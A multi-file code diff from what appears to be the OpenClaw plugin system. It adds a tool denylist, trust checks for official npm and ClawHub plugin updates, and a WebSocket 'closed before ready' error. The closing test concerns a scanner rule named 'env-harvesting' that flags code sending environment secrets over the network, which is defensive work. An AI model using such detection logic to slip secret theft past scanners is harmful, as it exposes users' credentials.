||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
function resolvePluginToolRuntimePluginIds(params: {
|
||||
config: PluginLoadOptions["config"];
|
||||
availabilityConfig?: PluginLoadOptions["config"];
|
||||
workspaceDir?: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
toolAllowlist?: string[];
|
||||
toolDenylist?: string[];
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
snapshot?: PluginMetadataManifestView;
|
||||
}): string[] {
|
||||
const pluginIds = new Set<string>();
|
||||
const allowlist = normalizeAllowlist(params.toolAllowlist);
|
||||
const denylist = normalizeDenylist(params.toolDenylist);
|
||||
const normalizedPlugins = normalizePluginsConfig(params.config?.plugins);
|
||||
const snapshot =
|
||||
params.snapshot ??
|
||||
@@ -384,22 +445,28 @@ function resolvePluginToolRuntimePluginIds(params: {
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
if (denylistBlocksPlugin({ pluginId: plugin.id, denylist })) {
|
||||
continue;
|
||||
}
|
||||
const toolNames = plugin.contracts?.tools ?? [];
|
||||
const selectedToolNames = listManifestToolNamesForAvailability({
|
||||
toolNames,
|
||||
plugin,
|
||||
pluginId: plugin.id,
|
||||
allowlist,
|
||||
}).filter(
|
||||
(toolName) =>
|
||||
!denylistBlocksPluginTool({
|
||||
pluginId: plugin.id,
|
||||
toolName,
|
||||
denylist,
|
||||
}),
|
||||
);
|
||||
if (
|
||||
manifestToolContractMatchesAllowlist({
|
||||
plugin,
|
||||
toolNames,
|
||||
pluginId: plugin.id,
|
||||
allowlist,
|
||||
}) &&
|
||||
selectedToolNames.length > 0 &&
|
||||
hasManifestToolAvailability({
|
||||
plugin,
|
||||
toolNames: listManifestToolNamesForAvailability({
|
||||
toolNames,
|
||||
plugin,
|
||||
pluginId: plugin.id,
|
||||
allowlist,
|
||||
}),
|
||||
toolNames: selectedToolNames,
|
||||
config: params.availabilityConfig ?? params.config,
|
||||
env: params.env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
@@ -519,6 +586,7 @@ function resolveCachedPluginTools(params: {
|
||||
availabilityConfig: PluginLoadOptions["config"];
|
||||
env: NodeJS.ProcessEnv;
|
||||
allowlist: Set<string>;
|
||||
denylist: ReturnType<typeof normalizeDenylist>;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
onlyPluginIds: readonly string[];
|
||||
existing: Set<string>;
|
||||
@@ -536,6 +604,9 @@ function resolveCachedPluginTools(params: {
|
||||
if (!onlyPluginIdSet.has(plugin.id)) {
|
||||
continue;
|
||||
}
|
||||
if (denylistBlocksPlugin({ pluginId: plugin.id, denylist: params.denylist })) {
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
!isManifestPluginAvailableForControlPlane({
|
||||
snapshot: params.snapshot,
|
||||
@@ -546,21 +617,27 @@ function resolveCachedPluginTools(params: {
|
||||
continue;
|
||||
}
|
||||
const contractToolNames = plugin.contracts?.tools ?? [];
|
||||
const availableToolNames = listManifestToolNamesForAvailability({
|
||||
const allowedToolNames = listManifestToolNamesForAvailability({
|
||||
plugin,
|
||||
toolNames: contractToolNames,
|
||||
pluginId: plugin.id,
|
||||
allowlist: params.allowlist,
|
||||
}).filter(
|
||||
(toolName) =>
|
||||
!denylistBlocksPluginTool({
|
||||
pluginId: plugin.id,
|
||||
toolName,
|
||||
denylist: params.denylist,
|
||||
}),
|
||||
);
|
||||
const availableToolNames = filterManifestToolNamesForAvailability({
|
||||
plugin,
|
||||
toolNames: allowedToolNames,
|
||||
config: params.availabilityConfig,
|
||||
env: params.env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
});
|
||||
if (
|
||||
!hasManifestToolAvailability({
|
||||
plugin,
|
||||
toolNames: availableToolNames,
|
||||
config: params.availabilityConfig,
|
||||
env: params.env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
})
|
||||
) {
|
||||
if (availableToolNames.length === 0) {
|
||||
continue;
|
||||
}
|
||||
if (params.existingNormalized.has(normalizeToolName(plugin.id))) {
|
||||
@@ -606,6 +683,15 @@ function resolveCachedPluginTools(params: {
|
||||
continue;
|
||||
}
|
||||
const normalizedDescriptorName = normalizeToolName(cachedDescriptor.descriptor.name);
|
||||
if (
|
||||
denylistBlocksPluginTool({
|
||||
pluginId: plugin.id,
|
||||
toolName: cachedDescriptor.descriptor.name,
|
||||
denylist: params.denylist,
|
||||
})
|
||||
) {
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
localNormalizedNames.has(normalizedDescriptorName) ||
|
||||
params.existingNormalized.has(normalizedDescriptorName)
|
||||
@@ -699,6 +785,7 @@ function registryHasScopedPluginTools(
|
||||
function resolvePluginToolLoadState(params: {
|
||||
context: OpenClawPluginToolContext;
|
||||
toolAllowlist?: string[];
|
||||
toolDenylist?: string[];
|
||||
allowGatewaySubagentBinding?: boolean;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
@@ -738,6 +825,7 @@ function resolvePluginToolLoadState(params: {
|
||||
workspaceDir: context.workspaceDir,
|
||||
env,
|
||||
toolAllowlist: params.toolAllowlist,
|
||||
toolDenylist: params.toolDenylist,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
snapshot,
|
||||
});
|
||||
@@ -753,6 +841,7 @@ function resolvePluginToolLoadState(params: {
|
||||
export function ensureStandalonePluginToolRegistryLoaded(params: {
|
||||
context: OpenClawPluginToolContext;
|
||||
toolAllowlist?: string[];
|
||||
toolDenylist?: string[];
|
||||
allowGatewaySubagentBinding?: boolean;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
@@ -772,6 +861,7 @@ export function resolvePluginTools(params: {
|
||||
context: OpenClawPluginToolContext;
|
||||
existingToolNames?: Set<string>;
|
||||
toolAllowlist?: string[];
|
||||
toolDenylist?: string[];
|
||||
suppressNameConflicts?: boolean;
|
||||
allowGatewaySubagentBinding?: boolean;
|
||||
hasAuthForProvider?: (providerId: string) => boolean;
|
||||
@@ -788,6 +878,7 @@ export function resolvePluginTools(params: {
|
||||
const existing = params.existingToolNames ?? new Set<string>();
|
||||
const existingNormalized = new Set(Array.from(existing, (tool) => normalizeToolName(tool)));
|
||||
const allowlist = normalizeAllowlist(params.toolAllowlist);
|
||||
const denylist = normalizeDenylist(params.toolDenylist);
|
||||
const configCacheKeyMemo = createPluginToolDescriptorConfigCacheKeyMemo();
|
||||
let currentRuntimeConfigForDescriptorCache: PluginLoadOptions["config"] | null | undefined =
|
||||
params.context.runtimeConfig;
|
||||
@@ -804,6 +895,7 @@ export function resolvePluginTools(params: {
|
||||
availabilityConfig: params.context.runtimeConfig ?? context.config,
|
||||
env,
|
||||
allowlist,
|
||||
denylist,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
onlyPluginIds,
|
||||
existing,
|
||||
@@ -886,6 +978,9 @@ export function resolvePluginTools(params: {
|
||||
if (!scopedPluginIds.has(entry.pluginId)) {
|
||||
continue;
|
||||
}
|
||||
if (denylistBlocksPlugin({ pluginId: entry.pluginId, denylist })) {
|
||||
continue;
|
||||
}
|
||||
if (blockedPlugins.has(entry.pluginId)) {
|
||||
continue;
|
||||
}
|
||||
@@ -904,10 +999,32 @@ export function resolvePluginTools(params: {
|
||||
blockedPlugins.add(entry.pluginId);
|
||||
continue;
|
||||
}
|
||||
const manifestPlugin = manifestPluginsById.get(entry.pluginId);
|
||||
const declaredNames = entry.names ?? [];
|
||||
const availabilityNames =
|
||||
declaredNames.length > 0 ? declaredNames : (entry.declaredNames ?? []);
|
||||
const allowlistNames = manifestPlugin
|
||||
? filterManifestToolNamesForAvailability({
|
||||
plugin: manifestPlugin,
|
||||
toolNames: availabilityNames,
|
||||
config: params.context.runtimeConfig ?? context.config,
|
||||
env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
}).filter(
|
||||
(toolName) =>
|
||||
!denylistBlocksPluginTool({
|
||||
pluginId: entry.pluginId,
|
||||
toolName,
|
||||
denylist,
|
||||
}),
|
||||
)
|
||||
: declaredNames;
|
||||
if (manifestPlugin && availabilityNames.length > 0 && allowlistNames.length === 0) {
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
!pluginToolNamesMatchAllowlist({
|
||||
names: declaredNames,
|
||||
names: allowlistNames,
|
||||
pluginId: entry.pluginId,
|
||||
optional: entry.optional,
|
||||
allowlist,
|
||||
@@ -936,15 +1053,34 @@ export function resolvePluginTools(params: {
|
||||
continue;
|
||||
}
|
||||
const listRaw: unknown[] = Array.isArray(resolved) ? resolved : [resolved];
|
||||
const list = entry.optional
|
||||
const availableList = manifestPlugin
|
||||
? listRaw.filter((tool) =>
|
||||
isManifestToolNameAvailable({
|
||||
plugin: manifestPlugin,
|
||||
toolName: readPluginToolName(tool),
|
||||
config: params.context.runtimeConfig ?? context.config,
|
||||
env,
|
||||
hasAuthForProvider: params.hasAuthForProvider,
|
||||
}),
|
||||
)
|
||||
: listRaw;
|
||||
const policyAvailableList = availableList.filter(
|
||||
(tool) =>
|
||||
!denylistBlocksPluginTool({
|
||||
pluginId: entry.pluginId,
|
||||
toolName: readPluginToolName(tool),
|
||||
denylist,
|
||||
}),
|
||||
);
|
||||
const list = entry.optional
|
||||
? policyAvailableList.filter((tool) =>
|
||||
isOptionalToolAllowed({
|
||||
toolName: readPluginToolName(tool),
|
||||
pluginId: entry.pluginId,
|
||||
allowlist,
|
||||
}),
|
||||
)
|
||||
: listRaw;
|
||||
: policyAvailableList;
|
||||
if (list.length === 0) {
|
||||
continue;
|
||||
}
|
||||
@@ -1003,7 +1139,6 @@ export function resolvePluginTools(params: {
|
||||
pluginId: entry.pluginId,
|
||||
optional: entry.optional,
|
||||
});
|
||||
const manifestPlugin = manifestPluginsById.get(entry.pluginId);
|
||||
if (manifestPlugin) {
|
||||
const capturedDescriptors = capturedDescriptorsByPluginId.get(entry.pluginId) ?? [];
|
||||
capturedDescriptors.push(
|
||||
@@ -1029,7 +1164,14 @@ export function resolvePluginTools(params: {
|
||||
toolNames: manifestPlugin.contracts?.tools ?? [],
|
||||
pluginId,
|
||||
allowlist,
|
||||
});
|
||||
}).filter(
|
||||
(toolName) =>
|
||||
!denylistBlocksPluginTool({
|
||||
pluginId,
|
||||
toolName,
|
||||
denylist,
|
||||
}),
|
||||
);
|
||||
if (
|
||||
cachedDescriptorsCoverToolNames({
|
||||
descriptors,
|
||||
|
||||
@@ -507,6 +507,59 @@ describe("updateNpmInstalledPlugins", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("does not skip trusted official default updates when latest resolves to the installed prerelease", async () => {
|
||||
const installPath = createInstalledPackageDir({
|
||||
name: "@openclaw/acpx",
|
||||
version: "2026.5.2-beta.2",
|
||||
});
|
||||
mockNpmViewMetadata({
|
||||
name: "@openclaw/acpx",
|
||||
version: "2026.5.2-beta.2",
|
||||
integrity: "sha512-beta",
|
||||
shasum: "beta",
|
||||
});
|
||||
installPluginFromNpmSpecMock.mockResolvedValue(
|
||||
createSuccessfulNpmUpdateResult({
|
||||
pluginId: "acpx",
|
||||
targetDir: installPath,
|
||||
version: "2026.5.2",
|
||||
npmResolution: {
|
||||
name: "@openclaw/acpx",
|
||||
version: "2026.5.2",
|
||||
resolvedSpec: "@openclaw/acpx@2026.5.2",
|
||||
},
|
||||
}),
|
||||
);
|
||||
|
||||
const result = await updateNpmInstalledPlugins({
|
||||
config: createNpmInstallConfig({
|
||||
pluginId: "acpx",
|
||||
spec: "@openclaw/acpx",
|
||||
installPath,
|
||||
integrity: "sha512-beta",
|
||||
shasum: "beta",
|
||||
resolvedName: "@openclaw/acpx",
|
||||
resolvedSpec: "@openclaw/acpx@2026.5.2-beta.2",
|
||||
resolvedVersion: "2026.5.2-beta.2",
|
||||
}),
|
||||
pluginIds: ["acpx"],
|
||||
});
|
||||
|
||||
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/acpx",
|
||||
expectedPluginId: "acpx",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
expect(result.outcomes[0]).toMatchObject({
|
||||
pluginId: "acpx",
|
||||
status: "updated",
|
||||
currentVersion: "2026.5.2-beta.2",
|
||||
nextVersion: "2026.5.2",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not trust official npm updates when the install record package mismatches", async () => {
|
||||
const installPath = createInstalledPackageDir({
|
||||
name: "@vendor/acpx-fork",
|
||||
@@ -2026,6 +2079,53 @@ describe("syncPluginsForUpdateChannel", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("marks official externalized bundled npm installs as trusted", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
installPluginFromNpmSpecMock.mockResolvedValue(
|
||||
createSuccessfulNpmUpdateResult({
|
||||
pluginId: "voice-call",
|
||||
targetDir: "/tmp/openclaw-plugins/voice-call",
|
||||
version: "0.0.2-beta.1",
|
||||
}),
|
||||
);
|
||||
|
||||
await syncPluginsForUpdateChannel({
|
||||
channel: "stable",
|
||||
externalizedBundledPluginBridges: [
|
||||
{
|
||||
bundledPluginId: "voice-call",
|
||||
npmSpec: "@openclaw/voice-call",
|
||||
channelIds: ["voice-call"],
|
||||
},
|
||||
],
|
||||
config: {
|
||||
channels: {
|
||||
"voice-call": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
load: { paths: [appBundledPluginRoot("voice-call")] },
|
||||
installs: {
|
||||
"voice-call": {
|
||||
source: "path",
|
||||
sourcePath: appBundledPluginRoot("voice-call"),
|
||||
installPath: appBundledPluginRoot("voice-call"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/voice-call",
|
||||
expectedPluginId: "voice-call",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("installs a ClawHub-preferred externalized bundled plugin", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
installPluginFromClawHubMock.mockResolvedValue(
|
||||
@@ -2176,6 +2276,60 @@ describe("syncPluginsForUpdateChannel", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("marks official externalized ClawHub-to-npm fallbacks as trusted", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
installPluginFromClawHubMock.mockResolvedValue({
|
||||
ok: false,
|
||||
code: "package_not_found",
|
||||
error: "Package not found on ClawHub.",
|
||||
});
|
||||
installPluginFromNpmSpecMock.mockResolvedValue(
|
||||
createSuccessfulNpmUpdateResult({
|
||||
pluginId: "voice-call",
|
||||
targetDir: "/tmp/openclaw-plugins/voice-call",
|
||||
version: "0.0.2-beta.1",
|
||||
}),
|
||||
);
|
||||
|
||||
await syncPluginsForUpdateChannel({
|
||||
channel: "stable",
|
||||
externalizedBundledPluginBridges: [
|
||||
{
|
||||
bundledPluginId: "voice-call",
|
||||
preferredSource: "clawhub",
|
||||
clawhubSpec: "clawhub:@openclaw/voice-call",
|
||||
npmSpec: "@openclaw/voice-call",
|
||||
channelIds: ["voice-call"],
|
||||
},
|
||||
],
|
||||
config: {
|
||||
channels: {
|
||||
"voice-call": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
load: { paths: [appBundledPluginRoot("voice-call")] },
|
||||
installs: {
|
||||
"voice-call": {
|
||||
source: "path",
|
||||
sourcePath: appBundledPluginRoot("voice-call"),
|
||||
installPath: appBundledPluginRoot("voice-call"),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(installPluginFromNpmSpecMock).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
spec: "@openclaw/voice-call",
|
||||
expectedPluginId: "voice-call",
|
||||
trustedSourceLinkedOfficialInstall: true,
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("fails closed without npm fallback when ClawHub returns integrity drift", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
installPluginFromClawHubMock.mockResolvedValue({
|
||||
@@ -2465,4 +2619,135 @@ describe("syncPluginsForUpdateChannel", () => {
|
||||
spec: "@openclaw/legacy-chat",
|
||||
});
|
||||
});
|
||||
|
||||
it("removes stale bundled load paths for already-externalized resolved-name-only npm installs", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
|
||||
const result = await syncPluginsForUpdateChannel({
|
||||
channel: "stable",
|
||||
externalizedBundledPluginBridges: [
|
||||
{
|
||||
bundledPluginId: "legacy-chat",
|
||||
npmSpec: "@openclaw/legacy-chat",
|
||||
channelIds: ["legacy-chat"],
|
||||
},
|
||||
],
|
||||
config: {
|
||||
channels: {
|
||||
"legacy-chat": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
load: {
|
||||
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
|
||||
},
|
||||
installs: {
|
||||
"legacy-chat": {
|
||||
source: "npm",
|
||||
resolvedName: "@openclaw/legacy-chat",
|
||||
installPath: "/tmp/openclaw-plugins/legacy-chat",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
|
||||
expect(result.changed).toBe(true);
|
||||
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
|
||||
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
|
||||
source: "npm",
|
||||
resolvedName: "@openclaw/legacy-chat",
|
||||
});
|
||||
});
|
||||
|
||||
it("removes stale bundled load paths for already-externalized pinned npm installs", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
|
||||
const result = await syncPluginsForUpdateChannel({
|
||||
channel: "stable",
|
||||
externalizedBundledPluginBridges: [
|
||||
{
|
||||
bundledPluginId: "legacy-chat",
|
||||
npmSpec: "@openclaw/legacy-chat",
|
||||
channelIds: ["legacy-chat"],
|
||||
},
|
||||
],
|
||||
config: {
|
||||
channels: {
|
||||
"legacy-chat": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
load: {
|
||||
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
|
||||
},
|
||||
installs: {
|
||||
"legacy-chat": {
|
||||
source: "npm",
|
||||
spec: "@openclaw/legacy-chat@1.2.3",
|
||||
resolvedSpec: "@openclaw/legacy-chat@1.2.3",
|
||||
installPath: "/tmp/openclaw-plugins/legacy-chat",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
|
||||
expect(result.changed).toBe(true);
|
||||
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
|
||||
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
|
||||
source: "npm",
|
||||
spec: "@openclaw/legacy-chat@1.2.3",
|
||||
});
|
||||
});
|
||||
|
||||
it("removes stale bundled load paths for already-externalized pinned ClawHub installs", async () => {
|
||||
resolveBundledPluginSourcesMock.mockReturnValue(new Map());
|
||||
|
||||
const result = await syncPluginsForUpdateChannel({
|
||||
channel: "stable",
|
||||
externalizedBundledPluginBridges: [
|
||||
{
|
||||
bundledPluginId: "legacy-chat",
|
||||
preferredSource: "clawhub",
|
||||
clawhubSpec: "clawhub:legacy-chat",
|
||||
npmSpec: "@openclaw/legacy-chat",
|
||||
channelIds: ["legacy-chat"],
|
||||
},
|
||||
],
|
||||
config: {
|
||||
channels: {
|
||||
"legacy-chat": {
|
||||
enabled: true,
|
||||
},
|
||||
},
|
||||
plugins: {
|
||||
load: {
|
||||
paths: [appBundledPluginRoot("legacy-chat"), "/workspace/plugins/other"],
|
||||
},
|
||||
installs: {
|
||||
"legacy-chat": {
|
||||
source: "clawhub",
|
||||
spec: "clawhub:legacy-chat@2026.5.1",
|
||||
clawhubPackage: "legacy-chat",
|
||||
installPath: "/tmp/openclaw-plugins/legacy-chat",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(installPluginFromClawHubMock).not.toHaveBeenCalled();
|
||||
expect(installPluginFromNpmSpecMock).not.toHaveBeenCalled();
|
||||
expect(result.changed).toBe(true);
|
||||
expect(result.config.plugins?.load?.paths).toEqual(["/workspace/plugins/other"]);
|
||||
expect(result.config.plugins?.installs?.["legacy-chat"]).toMatchObject({
|
||||
source: "clawhub",
|
||||
spec: "clawhub:legacy-chat@2026.5.1",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -4,7 +4,7 @@ import type { PluginInstallRecord } from "../config/types.plugins.js";
|
||||
import { parseClawHubPluginSpec } from "../infra/clawhub-spec.js";
|
||||
import type { NpmSpecResolution } from "../infra/install-source-utils.js";
|
||||
import { resolveNpmSpecMetadata } from "../infra/install-source-utils.js";
|
||||
import { parseRegistryNpmSpec } from "../infra/npm-registry-spec.js";
|
||||
import { isPrereleaseResolutionAllowed, parseRegistryNpmSpec } from "../infra/npm-registry-spec.js";
|
||||
import {
|
||||
expectedIntegrityForUpdate,
|
||||
readInstalledPackageVersion,
|
||||
@@ -179,6 +179,24 @@ function shouldSkipUnchangedNpmInstall(params: {
|
||||
);
|
||||
}
|
||||
|
||||
function shouldBypassTrustedOfficialUnchangedNpmCheck(params: {
|
||||
metadata: NpmSpecResolution;
|
||||
spec: string;
|
||||
trustedSourceLinkedOfficialInstall: boolean;
|
||||
}): boolean {
|
||||
if (!params.trustedSourceLinkedOfficialInstall || !params.metadata.version) {
|
||||
return false;
|
||||
}
|
||||
const parsedSpec = parseRegistryNpmSpec(params.spec);
|
||||
return Boolean(
|
||||
parsedSpec &&
|
||||
!isPrereleaseResolutionAllowed({
|
||||
spec: parsedSpec,
|
||||
resolvedVersion: params.metadata.version,
|
||||
}),
|
||||
);
|
||||
}
|
||||
|
||||
function isBundledVersionNewer(bundledVersion: string, installedVersion: string): boolean {
|
||||
const bundled = parseComparableSemver(bundledVersion);
|
||||
const installed = parseComparableSemver(installedVersion);
|
||||
@@ -459,6 +477,21 @@ function isTrustedSourceLinkedOfficialNpmUpdate(params: {
|
||||
return recordedPackageNames.includes(officialPackageName);
|
||||
}
|
||||
|
||||
function isTrustedSourceLinkedOfficialBridgeNpmInstall(params: {
|
||||
targetPluginId: string;
|
||||
npmSpec: string | undefined;
|
||||
}): boolean {
|
||||
const entry = getOfficialExternalPluginCatalogEntry(params.targetPluginId);
|
||||
if (!entry) {
|
||||
return false;
|
||||
}
|
||||
const officialPackageName = resolveNpmSpecPackageName(
|
||||
resolveOfficialExternalPluginInstall(entry)?.npmSpec,
|
||||
);
|
||||
const requestedPackageName = resolveNpmSpecPackageName(params.npmSpec);
|
||||
return Boolean(officialPackageName && requestedPackageName === officialPackageName);
|
||||
}
|
||||
|
||||
function resolveNpmUpdateSpecs(params: {
|
||||
record: PluginInstallRecord;
|
||||
specOverride?: string;
|
||||
@@ -544,12 +577,26 @@ function isBridgeAlreadyInstalledFromPreferredSource(params: {
|
||||
record: PluginInstallRecord;
|
||||
}): boolean {
|
||||
const npmSpec = getExternalizedBundledPluginNpmSpec(params.bridge);
|
||||
if (npmSpec && params.record.source === "npm" && params.record.spec === npmSpec) {
|
||||
return true;
|
||||
if (npmSpec && params.record.source === "npm") {
|
||||
const bridgePackageName = resolveNpmSpecPackageName(npmSpec);
|
||||
const recordPackageName =
|
||||
params.record.resolvedName ??
|
||||
resolveNpmSpecPackageName(params.record.spec) ??
|
||||
resolveNpmSpecPackageName(params.record.resolvedSpec);
|
||||
if (bridgePackageName && recordPackageName === bridgePackageName) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
const clawhubSpec = getExternalizedBundledPluginClawHubSpec(params.bridge);
|
||||
const bridgeClawHubPackage = clawhubSpec ? parseClawHubPluginSpec(clawhubSpec)?.name : undefined;
|
||||
const recordClawHubPackage =
|
||||
params.record.source === "clawhub"
|
||||
? (params.record.clawhubPackage ?? parseClawHubPluginSpec(params.record.spec ?? "")?.name)
|
||||
: undefined;
|
||||
return Boolean(
|
||||
clawhubSpec && params.record.source === "clawhub" && params.record.spec === clawhubSpec,
|
||||
bridgeClawHubPackage &&
|
||||
params.record.source === "clawhub" &&
|
||||
recordClawHubPackage === bridgeClawHubPackage,
|
||||
);
|
||||
}
|
||||
|
||||
@@ -853,6 +900,11 @@ export async function updateNpmInstalledPlugins(params: {
|
||||
});
|
||||
if (metadataResult.ok) {
|
||||
if (
|
||||
!shouldBypassTrustedOfficialUnchangedNpmCheck({
|
||||
metadata: metadataResult.metadata,
|
||||
spec: effectiveSpec!,
|
||||
trustedSourceLinkedOfficialInstall,
|
||||
}) &&
|
||||
shouldSkipUnchangedNpmInstall({
|
||||
currentVersion,
|
||||
record,
|
||||
@@ -1404,6 +1456,10 @@ export async function syncPluginsForUpdateChannel(params: {
|
||||
const preferredSource = getExternalizedBundledPluginPreferredSource(bridge);
|
||||
const npmSpec = getExternalizedBundledPluginNpmSpec(bridge);
|
||||
const clawhubSpec = getExternalizedBundledPluginClawHubSpec(bridge);
|
||||
const trustedSourceLinkedOfficialInstall = isTrustedSourceLinkedOfficialBridgeNpmInstall({
|
||||
targetPluginId,
|
||||
npmSpec,
|
||||
});
|
||||
let installSource = preferredSource;
|
||||
let installSpec = preferredSource === "clawhub" ? clawhubSpec : npmSpec;
|
||||
let result:
|
||||
@@ -1435,6 +1491,7 @@ export async function syncPluginsForUpdateChannel(params: {
|
||||
spec: npmSpec,
|
||||
mode: "update",
|
||||
expectedPluginId: targetPluginId,
|
||||
trustedSourceLinkedOfficialInstall,
|
||||
logger,
|
||||
});
|
||||
}
|
||||
@@ -1443,6 +1500,7 @@ export async function syncPluginsForUpdateChannel(params: {
|
||||
spec: npmSpec,
|
||||
mode: "update",
|
||||
expectedPluginId: targetPluginId,
|
||||
trustedSourceLinkedOfficialInstall,
|
||||
logger,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -13,6 +13,7 @@ afterEach(async () => {
|
||||
});
|
||||
|
||||
async function createRealtimeServer(params?: {
|
||||
closeOnConnection?: boolean;
|
||||
initialEvent?: unknown;
|
||||
onBinary?: (payload: Buffer) => void;
|
||||
onText?: (payload: unknown) => void;
|
||||
@@ -25,6 +26,10 @@ async function createRealtimeServer(params?: {
|
||||
wss.handleUpgrade(request, socket, head, (ws) => {
|
||||
clients.add(ws);
|
||||
ws.on("close", () => clients.delete(ws));
|
||||
if (params?.closeOnConnection) {
|
||||
ws.close(1011, "setup failed");
|
||||
return;
|
||||
}
|
||||
if (params?.initialEvent) {
|
||||
ws.send(JSON.stringify(params.initialEvent));
|
||||
}
|
||||
@@ -153,4 +158,27 @@ describe("createRealtimeTranscriptionWebSocketSession", () => {
|
||||
expect(session.isConnected()).toBe(false);
|
||||
expect(onError).toHaveBeenCalledWith(expect.any(Error));
|
||||
});
|
||||
|
||||
it("reports pre-ready closes separately from connection timeouts", async () => {
|
||||
const server = await createRealtimeServer({ closeOnConnection: true });
|
||||
const onError = vi.fn();
|
||||
const session = createRealtimeTranscriptionWebSocketSession({
|
||||
providerId: "test",
|
||||
callbacks: { onError },
|
||||
url: server.url,
|
||||
connectTimeoutMessage: "test realtime transcription connection timeout",
|
||||
connectClosedBeforeReadyMessage: "test realtime transcription connection closed before ready",
|
||||
sendAudio: (audio, transport) => {
|
||||
transport.sendBinary(audio);
|
||||
},
|
||||
});
|
||||
|
||||
await expect(session.connect()).rejects.toThrow(
|
||||
"test realtime transcription connection closed before ready",
|
||||
);
|
||||
expect(onError).toHaveBeenCalledWith(expect.any(Error));
|
||||
expect(onError.mock.calls[0]?.[0]).toMatchObject({
|
||||
message: "test realtime transcription connection closed before ready",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -20,6 +20,7 @@ export type RealtimeTranscriptionWebSocketTransport = {
|
||||
|
||||
export type RealtimeTranscriptionWebSocketSessionOptions<Event = unknown> = {
|
||||
callbacks: RealtimeTranscriptionSessionCallbacks;
|
||||
connectClosedBeforeReadyMessage?: string;
|
||||
connectTimeoutMessage?: string;
|
||||
connectTimeoutMs?: number;
|
||||
closeTimeoutMs?: number;
|
||||
@@ -267,7 +268,7 @@ class WebSocketRealtimeTranscriptionSession<Event> implements RealtimeTranscript
|
||||
if (!opened || !settled) {
|
||||
failConnect(
|
||||
new Error(
|
||||
this.options.connectTimeoutMessage ??
|
||||
this.options.connectClosedBeforeReadyMessage ??
|
||||
`${this.options.providerId} realtime transcription connection closed before ready`,
|
||||
),
|
||||
);
|
||||
|
||||
@@ -304,6 +304,31 @@ async function closeFetchHandles() {
|
||||
const findings = scanSource(source, "plugin.ts");
|
||||
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
|
||||
});
|
||||
|
||||
it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {
|
||||
const source = `
|
||||
function resolvePreferencesStorePath(env = process.env) {
|
||||
return path.join(resolveStateDir(env), "discord", "model-picker-preferences.json");
|
||||
}
|
||||
|
||||
${"\n".repeat(20)}
|
||||
|
||||
export async function sendMessage(rest, channelId, data) {
|
||||
return await rest.post(\`/channels/\${channelId}/messages\`, data);
|
||||
}
|
||||
`;
|
||||
const findings = scanSource(source, "provider-bundle.js");
|
||||
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
|
||||
});
|
||||
|
||||
